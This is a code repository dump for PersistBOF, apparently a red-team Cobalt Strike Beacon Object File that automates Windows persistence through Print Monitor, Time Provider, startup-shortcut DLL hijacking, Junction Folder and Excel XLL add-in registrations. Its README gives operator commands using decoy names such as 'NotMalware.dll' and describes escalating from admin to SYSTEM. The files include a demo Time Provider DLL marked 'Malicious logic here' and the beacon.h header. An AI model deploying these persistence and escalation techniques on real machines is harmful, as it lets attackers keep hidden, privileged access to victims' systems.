-------------------------------------------------------------------------------- 1 | # PersistBOF 2 | A tool to help automate common persistence mechanisms. Currently supports Print Monitor (SYSTEM), Time Provider (Network Service), Start folder shortcut hijacking (User), Junction Folder (User), Xll Add-In (User). 3 | 4 | ## Usage 5 | Clone, run make, add .cna to Cobalt Strike client. 6 | 7 | run: help persist-ice in CS console 8 | 9 | Syntax: 10 | - persist-ice [PrintMon, TimeProv, Shortcut, Junction, Xll] [persist or clean] [arg1] [arg2]; 11 | 12 | 13 | ## Technique Overview 14 | All of these techniques rely on a Dll file to be seperately placed on disk. It is intentially not part of the BOF. 15 | 16 | 17 | ### Xll Add-in 18 | Create Dll with export xlAutoOpen(). Rename .dll to .xll and place in %appdata%\Microsoft\Addins. Will be loaded any time Excel is opened with no notification. Writes a registry key to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\\{version number}\Excel\Options , provide the correct version number as there may be multiple. 19 | 20 | Example: 21 | 22 | - persist-ice Xll persist XllName.xll 16 23 | - persist-ice Xll clean XllName.xll 16 > Will delete the registry key and attempt to delete the dll. 24 | 25 | ### Print Monitor 26 | The Dll MUST be on disk and in a location in PATH (Dll search order) **BEFORE you run the BOF**. It will fail otherwise. The Dll will *immediately* be loaded by spoolsv.exe as SYSTEM. This can be used to elevate from admin to SYSTEM as well as for persistence. Will execute on system startup. **Must be elevated to run.** 27 | 28 | - Demo Print Monitor Dll in project 29 | 30 | Example: 31 | 1. upload NotMalware.dll to C:\Windows\NotMalware.dll 32 | 2. persist-ice PrintMon persist TotesLegitMonitor NotMalware.dll 33 | 3. Immediately executes as SYSTEM 34 | 4. Will execute on startup until removed 35 | 5. persist-ice PrintMon clean TotesLegitMonitor C:\Windows\NotMalware.dll > Will delete the registery keys and unload the Dll, then attempt to delete the dll if provided the correct path. Should succeed. 36 | 37 | ### Time Provider 38 | Loaded by svchost.exe as NETWORK SERVICE (get your potatoes ready!) on startup after running the BOF. **Must be elevated to run.** 39 | 40 | - Demo Time Provider Dll in project 41 | 42 | Example: 43 | - persist-ice TimeProv persist TotesLegitTimeProvider C:\anywhere\NotMalware.dll 44 | - persist-ice TimeProv clean TotesLegitTimeProvider C:\anywhere\NotMalware.dll > Will delete the registry keys and attempt to delete the dll if provided the correct path. Will probably fail because the dll is not unloaded by the process. 45 | 46 | ### Junction Folder 47 | Same technique as demonstrated in Vault 7 leaks. Executed on user login. Non-elevated. Dll will be loaded into explorer.exe 48 | 49 | **NOTE: This needs to be a COM server dll to run properly. You can execute code out of DllRegisterServer, DllMain, or DllGetClassObject depending on what you are trying to do. Make sure to implement other required exports** 50 | 51 | Example: 52 | 53 | - persist-ice Juction persist TotesLegitFolder C:\user-writable-folder\NotMalware.dll **Save CLSID** 54 | - persist-ice Juction clean TotesLegitFolder C:\user-writable-folder\NotMalware.dll 6be5e092-90cc-452d-be83-208029e259e0 > Will delete the registry keys, junction folder, and attempt to delete the dll. 55 | 56 | 57 | ### Start Folder Hijack 58 | Create a new, user writeable folder, copy a hijackable windows binary to the folder, then create a shortcut in the startup folder. Executed on user login. Non-elevated. 59 | 60 | Example: 61 | 62 | - persist-ice Shortcut persist C:\TotesLegitFolder C:\Windows\System32\Dism.exe > upload your Dll as a proxy dll to dismcore.dll into C:\TotesLegitFolder 63 | - persist-ice Shortcut clean C:\TotesLegitFolder C:\Windows\System32\Dism.exe > Will attempt delete all files in new folder then delete the folder itself. If the Dll is still loaded in the process then this will fail. 64 | 65 | 66 | 67 | ## References 68 | https://stmxcsr.com/persistence/print-monitor.html 69 | 70 | https://stmxcsr.com/persistence/time-provider.html 71 | 72 | https://pentestlab.blog/2019/10/28/persistence-port-monitors/ 73 | 74 | https://blog.f-secure.com/hunting-for-junction-folder-persistence/ 75 | 76 | https://attack.mitre.org/techniques/T1547/010/ 77 | 78 | https://attack.mitre.org/techniques/T1547/003/ 79 | 80 | https://attack.mitre.org/techniques/T1547/009/ 81 | -------------------------------------------------------------------------------- /TimeProvider/TimeProvider.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {aedfa25a-2d78-4ddc-ae37-454ca161059e} 25 | TimeProvider 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;TIMEPROVIDER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 90 | true 91 | Use 92 | pch.h 93 | 94 | 95 | Windows 96 | true 97 | false 98 | 99 | 100 | 101 | 102 | Level3 103 | true 104 | true 105 | true 106 | WIN32;NDEBUG;TIMEPROVIDER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | Use 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | true 115 | true 116 | false 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;TIMEPROVIDER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 124 | true 125 | Use 126 | pch.h 127 | 128 | 129 | Windows 130 | true 131 | false 132 | 133 | 134 | 135 | 136 | Level3 137 | true 138 | true 139 | true 140 | NDEBUG;TIMEPROVIDER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | true 142 | NotUsing 143 | pch.h 144 | MultiThreaded 145 | 146 | 147 | Windows 148 | true 149 | true 150 | false 151 | false 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /TimeProvider/TimeProvider.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /TimeProvider/TimeProvider.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /TimeProvider/dllmain.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | typedef enum TimeSysInfo { 6 | TSI_LastSyncTime, 7 | TSI_ClockTickSize, 8 | TSI_ClockPrecision, 9 | TSI_CurrentTime, 10 | TSI_PhaseOffset, 11 | TSI_TickCount, 12 | TSI_LeapFlags, 13 | TSI_Stratum, 14 | TSI_ReferenceIdentifier, 15 | TSI_PollInterval, 16 | TSI_RootDelay, 17 | TSI_RootDispersion, 18 | TSI_TSFlags, 19 | TSI_SeriviceRole, 20 | TSI_CurrentUtcOffset, 21 | } TimeSysInfo; 22 | 23 | typedef HRESULT(__stdcall GetTimeSysInfoFunc)( 24 | IN TimeSysInfo eInfo, 25 | OUT void* pvInfo 26 | ); 27 | 28 | typedef HRESULT(__stdcall LogTimeProvEventFunc)( 29 | IN WORD wType, 30 | IN WCHAR* wszProvName, 31 | IN WCHAR* wszMessage 32 | ); 33 | 34 | typedef HRESULT(__stdcall AlertSamplesAvailFunc)(void); 35 | 36 | typedef enum TimeProvState { 37 | TPS_Running, 38 | TPS_Error, 39 | } TimeProvState; 40 | 41 | typedef void(__stdcall SetProviderStatusInfoFreeFunc)(IN struct SetProviderStatusInfo* pspsi); 42 | 43 | typedef struct SetProviderStatusInfo { 44 | TimeProvState tpsCurrentState; 45 | DWORD dwStratum; 46 | LPWSTR wszProvName; 47 | HANDLE hWaitEvent; 48 | SetProviderStatusInfoFreeFunc* pfnFree; 49 | HRESULT* pHr; 50 | DWORD* pdwSysStratum; 51 | } SetProviderStatusInfo; 52 | 53 | typedef HRESULT(__stdcall SetProviderStatusFunc)(IN SetProviderStatusInfo* pspsi); 54 | 55 | typedef struct TimeProvSysCallbacks { 56 | DWORD dwSize; 57 | GetTimeSysInfoFunc* pfnGetTimeSysInfo; 58 | LogTimeProvEventFunc* pfnLogTimeProvEvent; 59 | AlertSamplesAvailFunc* pfnAlertSamplesAvail; 60 | SetProviderStatusFunc* pfnSetProviderStatus; 61 | } TimeProvSysCallbacks; 62 | 63 | typedef void* TimeProvHandle; 64 | 65 | typedef enum TimeProvCmd { 66 | TPC_TimeJumped, 67 | TPC_UpdateConfig, 68 | TPC_PollIntervalChanged, 69 | TPC_GetSamples, 70 | TPC_NetTopoChange, 71 | TPC_Query, 72 | TPC_Shutdown, 73 | TPC_GetMetaDataSamples 74 | } TimeProvCmd; 75 | 76 | typedef void* TimeProvArgs; 77 | 78 | 79 | // Malicious logic here 80 | __declspec(dllexport) HRESULT TimeProvOpen( PWSTR wszName, TimeProvSysCallbacks * pSysCallbacks, TimeProvHandle * phTimeProv) 81 | { 82 | 83 | STARTUPINFOW si; 84 | PROCESS_INFORMATION pi; 85 | 86 | SecureZeroMemory(&si, sizeof(si)); 87 | si.cb = sizeof(si); 88 | SecureZeroMemory(&pi, sizeof(pi)); 89 | const wchar_t* tp = L"notepad.exe"; 90 | CreateProcessW((LPWSTR)tp, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 91 | return S_OK; 92 | } 93 | 94 | __declspec(dllexport) HRESULT TimeProvClose(PWSTR wszName, TimeProvSysCallbacks * pSysCallbacks, TimeProvHandle * phTimeProv) 95 | { 96 | 97 | return S_OK; 98 | } 99 | 100 | 101 | 102 | __declspec(dllexport) HRESULT TimeProvCommand(TimeProvHandle hTimeProv,TimeProvCmd eCmd, TimeProvArgs pvArgs) 103 | { 104 | 105 | return S_OK; 106 | } 107 | 108 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 109 | { 110 | switch (fdwReason) 111 | { 112 | case DLL_PROCESS_ATTACH: 113 | DisableThreadLibraryCalls(hinstDLL); 114 | break; 115 | case DLL_THREAD_ATTACH: 116 | case DLL_PROCESS_DETACH: 117 | case DLL_THREAD_DETACH: 118 | break; 119 | } 120 | 121 | return TRUE; 122 | } 123 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | --------------------------------------------------------------------------------